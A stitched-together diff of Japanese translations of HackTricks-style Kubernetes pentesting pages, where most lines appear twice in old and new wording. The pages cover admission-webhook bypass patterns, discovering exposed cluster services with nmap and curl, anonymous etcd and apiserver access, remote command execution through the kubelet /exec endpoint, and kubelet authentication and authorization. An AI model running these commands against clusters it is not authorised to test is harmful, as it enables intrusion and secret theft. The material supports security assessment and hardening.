Namespaces の存在を確認してください。場合によっては、自動化や misconfiguration により、いくつかの namespaces がまだ作成されていないことがあります。namespace を作成する権限がある場合、`values` リスト内の名前で namespace を作成でき、policy は新しい namespace に適用されません。
この attack の目的は、VWC 内の **misconfiguration** を悪用して operator の制限を回避し、その後ほかの techniques で権限を昇格させることです
この attack の目的は、VWC 内の **misconfiguration** を悪用して operator の制限を bypass し、その後、他の techniques で権限を elevate することです
その他の一般的な bypass または abuse パターン:
- ユーザーが自分の objects に opt-out label を追加できる `objectSelector`
- 特に webhook Service に endpoints がない、または networking が不安定な場合の、security-critical な validation に対する `failurePolicy: Ignore`
- user、group、service account、namespacerole に対する、意図より広すぎる policy engine の例外
- workload controller templates、`pods/ephemeralcontainers``pods/exec`、custom resources、または update operations に対する coverage の欠如
- `validatingwebhookconfigurations``mutatingwebhookconfigurations`、Gatekeeper constraints、Kyverno policies、または exception resources への書き込み権限
- validation 前に containers を注入し、images を変更し、secrets を mount し、tolerations を追加し、または service account の選択を変更する malicious mutating webhook。
- セキュリティ上重要な validation における `failurePolicy: Ignore`特に webhook Service に endpoints がない場合や networking が不安定な場合。
- ユーザー、groups、service accounts、namespaces、または roles に対する、意図より広すぎる policy engine exceptions
- workload controller templates、`pods/ephemeralcontainers``pods/exec`、custom resources、または update operations のカバレッジ不足
- `validatingwebhookconfigurations``mutatingwebhookconfigurations`、Gatekeeper constraints、Kyverno policies、または exception resources への write access
- validation 前に containers を注入し、images を変更し、secrets を mount し、tolerations を追加し、または service account selection を変更する悪意ある mutating webhook。
admission は、API server admission chain を通過する requests だけを保護することを忘れないでください。Static Pods、node-local runtime socket access、direct kubelet abuse、そして direct etcd access は別の trust paths であり、個別の hardening と monitoring が必要です。
admission は、API server admission chain を通過する requests のみを保護することを忘れないでください。Static Pods、node-local runtime socket access、direct kubelet abuse、direct etcd access は別の trust paths であり、個別の hardening と monitoring が必要です。
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -138,6 +156,8 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
@@ -2,33 +2,33 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes は、**Internet に公開されている**、**1つの pod を侵害した後の内部 network** 内で見つかる可能性ある、いくつかの**特定の network services** を使用します。
Kubernetes は、**Internet に公開されている**、または**1つの pod を侵害した後に internal network 内で見つかる**可能性ある、いくつかの**specific network services**を使用します。
## OSINT exposed pods を見つける
## OSINT を使って exposed pods を見つける
1つの方法は、[crt.sh](https://crt.sh) で `Identity LIKE "k8s.%.com"` を検索して Kubernetes 関連のサブドメインを見つけることです。別の方法としては、github で `"k8s.%.com"` を検索し、その文字列を含む **YAML files** を探すことが考えられます
1つの方法は、[crt.sh](https://crt.sh) で `Identity LIKE "k8s.%.com"` を検索して kubernetes 関連のサブドメインを見つけることです。別の方法としては、github で `"k8s.%.com"` を検索し、その文字列を含む **YAML files** を探すことかもしれません
scan の前に相関させる有用な外部 recon signals:
スキャン前に相関させるのに有用な external recon のシグナル:
- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`、または region 名を含む DNS と certificate transparency の名前。
- 公開された application や platform UI を cluster に結びけられる cloud load balancer 名、CNAMEs、tags、provider hostnames
- kubeconfigs、API server URLs、namespaces、service accounts、`type: LoadBalancer``type: NodePort`、Ingress hosts、Gateway listeners、または dashboard settings を漏らしている public repositories、CI logs、Helm values、Terraform state、rendered manifests、container images、documentation。
- cloud credentials が範囲内にある場合の managed Kubernetes inventory: EKS の public/private access と public CIDRs、GKE の public/private control-plane settings と authorized networks、AKS の private cluster/API server authorized IP settings
- Cluster 周辺で公開されている Argo CD、Prometheus、Grafana、Harbor、registries、CI/CD dashboards、service mesh dashboards、Ingress-controller の admin または metrics endpoints などの platform tools
- 公開された application や platform UI を cluster に結びけられる cloud load balancer 名、CNAME、タグ、provider hostname。
- kubeconfigs、API server URLs、namespaces、service accounts、`type: LoadBalancer``type: NodePort`、Ingress hosts、Gateway listeners、または dashboard 設定を漏らす public repositories、CI logs、Helm values、Terraform state、rendered manifests、container images、documentation。
- cloud credentials が scope に入る場合の managed Kubernetes inventory: EKS の endpoint public/private access と public CIDRs、GKE の public/private control-plane 設定と authorized networks、AKS の private cluster/API server authorized IP 設定
- cluster 周辺の exposed platform tools、例えば Argo CD、Prometheus、Grafana、Harbor、registries、CI/CD dashboards、service mesh dashboards、そして ingress-controller の admin または metrics endpoints。
これらは attribution と優先順位付けの手がかりとして扱ってください。Public Ingress application は多くの cluster では通常ですが、公開された kubelet、etcd、dashboard、CI/CD deploy control、または漏えいした kubeconfig の素材ははるかに高く優先すべきです。
これらは attribution と優先付けの手がかりとして扱ってください。public Ingress application は多くの cluster では通常ですが、exposed kubelet、etcd、dashboard、CI/CD deploy control、または漏えいした kubeconfig 材ははるかに高く優先すべきです。
## Kubernetes が services を公開する方法
## Kubernetes が Services を公開する方法
それらを見つけるために、Kubernetes がどのように services を **public に公開**できるかを理解すると役立つかもしれません:
Kubernetes が services を**publicly に公開**する方法を理解しておくと、見つけるのに役立つかもしれません:
{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}
## Port scanning による exposed pods の発見
## port scanning による exposed pods の発見
Kubernetes cluster では、以下の ports が開いている可能性があります:
Kubernetes cluster では、の ports が open になっている可能性があります:
| Port | Process | Description |
| --------------- | -------------- | ---------------------------------------------------------------------- |
@@ -39,12 +39,12 @@ Kubernetes cluster では、以下の ports が開いている可能性があり
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | Full mode access を許可する HTTPS API |
| 10255/TCP | kubelet | 認証なしの read-only HTTP port: pods, running pods, node state |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Calico の health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | services への proxy |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 44134/TCP | Tiller | Helm service listening |
### Nmap
@@ -53,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
```
### Kube-apiserver
これは、管理者が通常ツール **`kubectl`** を使ってやり取りする **Kubernetes の API service** です。
これは、管理者が通常 **`kubectl`** ツールを使ってやり取りする **API Kubernetes service** です。
**一般的なポート: 6443 と 443**、ただし minikube では 8443、そして insecure 8080 もあります。
**一般的なポート: 6443 と 443**、ただし minikube では 8443、insecure として 8080 もあります。
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**このページを確認して、このサービスとやり取りして sensitive data を取得し、sensitive actions を実行する方法を学んでください:**
**このサービスとやり取りして機密データを取得し、機密操作を実行する方法については、次のページを確認してください:**
{{#ref}}
../kubernetes-enumeration.md
@@ -69,18 +69,18 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
このサービスは**クラスタのすべての node で動作**します。これは **node** 内の **pods****制御**するサービスです。**kube-apiserver** と通信します。
このサービスは **クラスタのすべての node で実行** されています。これは **node** 内の **pods**制御するサービスです。**kube-apiserver** と通信します。
このサービスが露出しているのを見つけた場合、**unauthenticated RCE** を見つけた可能性があります。
このサービスが公開されている場合、**認証不要の RCE** を見つけた可能性があります。
#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
If the response is `Unauthorized` then authentication が必要です。
`Unauthorized` の場合は、認証が必要です。
nodes を list できるなら、kubelets endpoints の list を次で取得できます:
nodes を list できるなら、次のように kubelets endpoints の list を取得できます:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
@@ -89,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```
#### kubelet (Read only)
#### kubelet (読み取り専用)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
@@ -104,25 +104,25 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```bash
helm --host tiller-deploy.kube-system:44134 version
```
このサービスを悪用してKubernetes 内で権限昇格できる可能性があります:
このサービスを悪用して Kubernetes 内で権限昇格できます
### cAdvisor
メトリクスを収集するのに便利なサービス。
メトリクスを収集するのに便利なサービスです
```bash
curl -k https://<IP Address>:4194
```
### NodePort
ポートが **NodePort** を通じてすべてのノードで公開されると、すべてのノードで同じポートが開き、トラフィックを宣言された **Service** にプロキシします。デフォルトでは、このポートは **range 30000-32767**あります。そのため、新しく確認されていないサービスがこれらのポート経由でアクセス可能になる可能性があります
ポートが **NodePort** を通じてすべてのノードで公開されると、同じポートがすべてのノードで開かれ、トラフィックを宣言された **Service** にプロキシします。デフォルトでは、このポートは **range 30000-32767**含まれます。したがって、新しく確認の services はこれらのポート経由でアクセス可能になるかもしれません
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
### Service mesh and proxy surfaces
**Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** を使用するクラスタは、列挙すべき別のサービス層を追加します。mesh は mTLS、workload identity、L7 routing、authorization policy、telemetry、そして gateway/egress controls を提供できますが、実際に mesh に登録され、mesh によって intercept された traffic だけを保護しま
**Istio, Linkerd, Cilium service mesh, または Envoy-based gateways** を使用するクラスタは、列挙すべき別のサービス層を追加します。mesh は mTLS、workload identity、L7 routing、authorization policy、telemetry、gateway/egress controls を提供できますが、実際に mesh に登録され、mesh によってインターセプトされるトラフィックしか保護しません
Kubernetes access からの有用な確認項目:
Kubernetes access からの有用な確認:
```bash
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
@@ -130,46 +130,56 @@ kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name'
kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble'
```
Review:
レビュー:
- injection をオプトアウトした namespaces や workloads、proxy なしで実行されているもの、または injection が有効になる前に作成されたもの。
- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources.
- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces.
- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points.
- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly.
- 注入をオプトアウトした Namespaces や workloads、proxy なしで動作しているもの、または injection が有効になる前に作成されたもの。
- mTLS モード。Permissive migration モードでは、meshed されていないソースからの plaintext をまだ受け入れる場合がある。
- Istio `PeerAuthentication``AuthorizationPolicy``RequestAuthentication`gatewayswaypoints、そして egress resources
- Linkerd policy resourcesidentityServer/authorization objects、そして公開された `linkerd-viz`tap、または metrics surface
- Cilium service mesh Gateway API resourcesHubble visibilityCilium policies、そして Envoy integration points
- Envoy adminconfig dumpstatsmetricstracingdashboarddebug endpoints。これらは広く公開されていると、routesupstreamscertificatesidentitytraffic state を漏洩する可能性がある。
Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route.
service mesh を Kubernetes RBAC NetworkPolicies の代替と見なさないでください。mesh policy は HTTP request をブロックできても、meshed されていない Podskipped port、直接の Pod IP pathgatewayegress proxy、または不足している NetworkPolicy によって、実際の経路がまだ残ることがあります。
## Vulnerable Misconfigurations
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
Anonymous access to **kube-apiserver resource APIs should not be allowed**. Health endpoints such as `/livez`, `/readyz`, and `/healthz` may be intentionally reachable, especially when the API server uses `AuthenticationConfiguration` to scope anonymous requests to specific paths. Treat health or version responses as reachability evidence; the critical issue is a `200` response for real resource APIs such as namespaces, Secrets, Pods, RBAC objects, metrics, logs, or proxy subresources without valid credentials.
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **Checking for ETCD Anonymous Access**
Useful checks:
```bash
APISERVER='https://<api-server>:6443'
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
```
リソース API が `403` を返す場合、API server はそのリクエストを `system:anonymous` として分類したが、authorization によってブロックされた可能性があります。認証情報なしでリソース API が `200` を返す場合は、`system:anonymous` または `system:unauthenticated` に対する RoleBindings や ClusterRoleBindings、緩い authorizer-chain 設定、または front-door authentication の設定ミスを確認してください。
The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.
### **ETCD の Anonymous Access を確認する**
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
ETCD には cluster の secrets、configuration files、その他の **sensitive data** が保存されています。**デフォルト**では、ETCD は **anonymous** ではアクセス **できません** が、常に確認する価値があります。
ETCD に anonymous でアクセスできる場合は、[**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** を **使う**必要があるかもしれません。以下のコマンドで保存されているすべての keys を取得できます:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)では、**デフォルトで anonymous access** がサービスに対して **許可されている** と説明されています:
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) では、**デフォルトでは匿名アクセス**がサービスに**許可されている**と説明されています:
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
> Kubelet server への匿名リクエストを有効にします。別の認証方法によって拒否されないリクエストは、匿名リクエストとして扱われます。匿名リクエストの username `system:anonymous`group name `system:unauthenticated` です
**Kubelet API の authentication と authorization がどのように動作するか** をより詳しく理解するには、このページを確認してください:
**Kubelet API の認証と authorization がどのように機能するか**をよりく理解するには、このページを確認してください:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
**Kubelet** サービス**API は document されていません** が、source code はここで見つけることができ、公開されている endpoints を見つけるのは **実行する** だけで十分です:
**Kubelet** service の **API は document されていません**が、source code はここで見つけることができ、公開されている endpoints を見つけるのは **実行する**だけで簡単です:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -181,30 +191,30 @@ Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
すべて興味深く聞こえます。
それらはすべて興味深そうです。
[Kubeletctl](https://github.com/cyberark/kubeletctl) ツールを使って Kubelets とその endpoints を操作できます。
[**Kubeletctl**](https://github.com/cyberark/kubeletctl) ツールを使ってKubelet とそのエンドポイントを操作できます。
#### /pods
この endpoint は pods とその containers を一覧表示します:
このエンドポイントは pods とそのコンテナを一覧表示します:
```bash
kubeletctl pods
```
#### /exec
このエンドポイントを使うと、どの container 内でも非常に簡単に code を実行できます:
このエンドポイントでは、任意のコンテナ内でコードを非常に簡単に実行できます:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> この攻撃を避けるには、_**kubelet**_ サービスを `--anonymous-auth false` で実行し、サービスを network level で分離する必要があります。
> この攻撃を避けるには、_**kubelet**_ サービスを `--anonymous-auth false` で実行し、サービスをネットワークレベルで分離する必要があります。
### **Checking Kubelet (Read Only Port) Information Exposure**
### **Kubelet (Read Only Port) の情報露出の確認**
**kubelet read-only port** exposed されていると、unauthorized parties が API から情報を取得できるようになります。この port の exposure により、さまざまな **cluster configuration elements** 漏えいる可能性があります。**pod names, locations of internal files, and other configurations** を含む情報は critical ではないかもしれませんが、それでも exposure は security risk をもたらすため、避けるべきです。
**kubelet read-only port**公開されていると、権限のない第三者が API から情報を取得できるようになります。このポートの公開は、さまざまな **cluster configuration elements** 漏えいにつながる可能性があります。**pod names、内部ファイルの場所、その他の configurations** を含む情報は必ずしも重大ではないものの、公開されること自体がセキュリティリスクとなるため、避けるべきです。
この vulnerability の exploit 例としては、remote attacker が特定の URL にアクセスするケースがあります。`http://<external-IP>:10255/pods`移動すると、attacker は kubelet から sensitive information を取得できる可能性があります:
この脆弱性の悪用例としては、リモートの攻撃者が特定の URL にアクセスするケースがあります。`http://<external-IP>:10255/pods`アクセスすることで、攻撃者は kubelet から機密情報を取得できる可能性があります
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
@@ -1,25 +1,25 @@
# Kubelet 認証と認可
# Kubelet Authentication & Authorization
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet 認証 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
デフォルトでは、他の設定された認証方法によって拒否されない kubelet の HTTPS エンドポイントへのリクエストは匿名リクエストとして扱われ、**ユーザー名 `system:anonymous`****グループ `system:unauthenticated`**与えられます。
デフォルトでは、他の設定済み authentication methods によって拒否されない kubelet の HTTPS endpoint への request は anonymous requests として扱われ、**username は `system:anonymous`**、**group は `system:unauthenticated`** が付与されます。
認証の **3** つの **方法** は次のとおりです:
**3** つの authentication **methods** は次のとおりです:
- **Anonymous** (デフォルト): パラメータ **`--anonymous-auth=true`** または設定で有効にします:
- **Anonymous** (default): param **`--anonymous-auth=true`** を設定するか、config を使用します:
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: これにより kubectl **API bearer tokens** を認証として**有効にします**(有効なトークンはどれでも認証されます)。次のように許可します:
- API サーバー`authentication.k8s.io/v1beta1` API グループが有効になっていることを確認する
- kubelet を **`--authentication-token-webhook`** と **`--kubeconfig`** フラグで起動するか、次の設定を使用する
- **Webhook**: これにより kubectl **API bearer tokens** が authorization として **有効** になります(有効な token なら何でも valid です)。これを許可するには:
- API server `authentication.k8s.io/v1beta1` API group が enabled であることを ensure する
- kubelet を **`--authentication-token-webhook`** と **`--kubeconfig`** フラグ付きで start するか、次の setting を use する:
```json
"authentication": {
"webhook": {
@@ -28,11 +28,11 @@
},
```
> [!NOTE]
> kubelet は設定された API server 上の **`TokenReview` API`** を呼び出し、bearer tokens から**ユーザー情報を判定します**
> kubelet は設定された API server に対して **`TokenReview` API** を呼び出し、bearer token から **user information を決定**します
- **X509 client certificates:** X509 client certs を使用して認証できます
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
- kubelet を `--client-ca-file` フラグで起動し、クライアント証明書を検証するための CA バンドルを指定します。あるいは設定で:
- **X509 client certificates:** X509 client certs を使って authenticate できるようにする
- 詳細は [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) を参照
- `--client-ca-file` フラグを指定して kubelet を start し、client certificates を verify するための CA bundle を提供する。あるいは、config で:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@
}
}
```
## Kubelet 認可 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
正常に認証された(匿名リクエストを含む)すべてのリクエストは、**その後認可されます**。**デフォルト**の認可モードは**`AlwaysAllow`**で、**すべてのリクエストを許可します**
成功裏に認証されたリクエストanonymous request を含む)は、**その後に authorization** されます。**デフォルト**の authorization mode は **`AlwaysAllow`** で、**すべてのリクエストを許可**します。
ただし、もう一つの可能な値は**`webhook`**現場で**主に見かる**のはこちら)です。このモードは、アクションを許可するか拒否するかを決めるために、**認証済みユーザーの権限をチェックします**
しかし、他にあり得る値は **`webhook`** です(**現場で主に見かる**のはこです。この mode は、許可または拒否する action を決めるために、認証された user の permissions を**確認**します。
> [!WARNING]
> **匿名認証が有効になっている**場合でも、**匿名アクセス**は操作を実行するための権限を**持たない場合があります**
> **anonymous authentication が有効**でも、**anonymous access** には action を実行するための **permissions がない**場合があることに注意してください
webhookによる認可は、**param `--authorization-mode=Webhook`** を使用するか、設定ファイルで次のように設定できます:
webhook による authorization は、**param `--authorization-mode=Webhook`** を使うか、config file で次のように設定できます:
```json
"authorization": {
"mode": "Webhook",
@@ -59,11 +59,11 @@ webhookによる認可は、**param `--authorization-mode=Webhook`** を使用
}
},
```
The kubelet は構成された API サーバー上の **`SubjectAccessReview`** API を呼び出して、各リクエストが **許可されているかどうか****判定** します。
kubelet は、各リクエストが **authorized** かどうかを **determine** するために、設定された API server に対して **`SubjectAccessReview`** API を呼び出します。
kubelet は apiserver と同じ [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) アプローチを使って API リクエストを認可します:
kubelet はapiserver と同じ [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) の考え方を使って API requests を authorize します:
- **アクション**
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -73,7 +73,7 @@ kubelet は apiserver と同じ [request attributes](https://kubernetes.io/docs/
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- Kubelet api に対して話す **resource****常に** **nodes** で、**subresource** は受信リクエストのパスから **決定されます**:
- Kubelet api に対してやり取りする **resource****常に** **nodes** で、**subresource** は受信リクエストの path から **determined** されます:
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
@@ -81,23 +81,38 @@ kubelet は apiserver と同じ [request attributes](https://kubernetes.io/docs/
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| /checkpoint/\* | nodes | checkpoint |
| _all others_ | nodes | proxy |
> [!NOTE]
> WebSocket ベースの `/exec`, `/run`, `/attach`, `/portforward` はデフォルトの **proxy** subresource に分類され、初回 HTTP **GET** ハンドシェイクで認可されます。`nodes/proxy` **GET** のみを持つ主体でも、WebSockets 経由で `https://<node_ip>:10250` に直接接続すればコンテナを exec できてしまいます。詳細は [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) を参照してください。
modern clusters では、fine-grained kubelet authorization はデフォルトで有効です。Kubernetes v1.36 でこれは stable になりました: kubelet はまず `/pods``/runningPods``/healthz``/configz` のような path に対してより具体的な subresources を確認し、後方互換性のために最後に `nodes/proxy` にフォールバックします。
例えば、次のリクエストは権限なしに kubelet の pods 情報へアクセスしようとしました:
| Kubelet API | preferred subresource | fallback |
| ----------- | --------------------- | -------- |
| /pods | nodes/pods | nodes/proxy |
| /runningPods/ | nodes/pods | nodes/proxy |
| /healthz | nodes/healthz | nodes/proxy |
| /configz | nodes/configz | nodes/proxy |
可能な場合は、monitoring と diagnostics にはこれらのより狭い subresources を使ってください。通常の metrics、stats、health、pod-listing、config review に対して広い `nodes/proxy` を付与するのは避けてください。`nodes/proxy` は、より影響の大きい kubelet APIs も引き続きカバーするためです。
> [!NOTE]
> WebSocket-based の `/exec`、`/run`、`/attach`、`/portforward` は、デフォルトの **proxy** subresource に含まれ、初回の HTTP **GET** handshake を使って authorized されます。`nodes/proxy` の **GET** だけを持つ主体でも、`https://<node_ip>:10250` に WebSockets 経由で直接接続すれば containers を exec できます。詳細は [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) を参照してください。
kubelet Checkpoint API (`POST /checkpoint/<namespace>/<pod>/<container>`) も、もう1つの重要な kubelet surface です。Kubernetes v1.30 で container checkpointing は beta になり、デフォルトで有効化されましたが、リクエストは依然として kubelet authorization と、checkpoint/CRIU capability を持つ CRI-O や containerd などの runtime support に依存します。成功した checkpoints は kubelet root directory の下、デフォルトでは `/var/lib/kubelet/checkpoints` に書き込まれ、tokens、keys、application secrets を含む process memory を含む可能性があります。`nodes/checkpoint` を制限し、古い read-only port を無効化し、直接 kubelet に到達できる network reachability を制限し、feature を意図的に使う場合は checkpoint archives を監視または削除してください。
例えば、以下の request は permission なしで kubelet の pods info にアクセスしようとしました:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- **Forbidden** を受け取ったので、リクエストは **認証チェックを通過している**。もしそうでなければ、単に `Unauthorised` メッセージを受け取っていただろう
- **username** 確認でき(この場合はトークンから)
- **resource** が **nodes**、**subresource** が **proxy** になっているのを確認(前の情報と一致す
- **Forbidden** を受け取ったので、リクエストは **Authentication check** を通過しました。もし通過していなければ、`Unauthorised` メッセージだけが返っていたはずです
- **username** 確認できます(この場合は token から)
- **resource** が **nodes**、**subresource** が **proxy** であることを確認します(これは前の情報と一致します)
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}